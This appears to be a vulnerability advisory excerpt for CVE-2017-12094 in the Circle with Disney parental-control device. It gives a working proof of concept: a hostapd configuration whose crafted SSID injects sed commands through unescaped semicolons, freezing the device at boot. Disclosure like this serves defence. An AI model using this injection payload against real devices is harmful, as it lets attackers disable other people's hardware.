Circle with Disney Startup WiFi Channel Parsing Command Injection Vulnerability(CVE-2017-12094)

                                                The following proof of concept shows how to freeze the box on startup by broadcasting a specific SSID. The box will need manual power-cycling to boot again.


$ cat << 'EOF' > hostapd.conf
interface=wlan0
channel=1
ssid2=P"Channel: x /;:x/g;bx #Signal"
EOF
$ hostapd -B ./hostapd.conf


The SSID above is injected in the sed substitution command. Since semicolons are not escaped, they can be used to inject a new sed command.
In this example the injection creates an infinite loop by defining a "x/g" label and by jumping to it using "bx/g" (the ending "/g" is added by circle's script at [3]).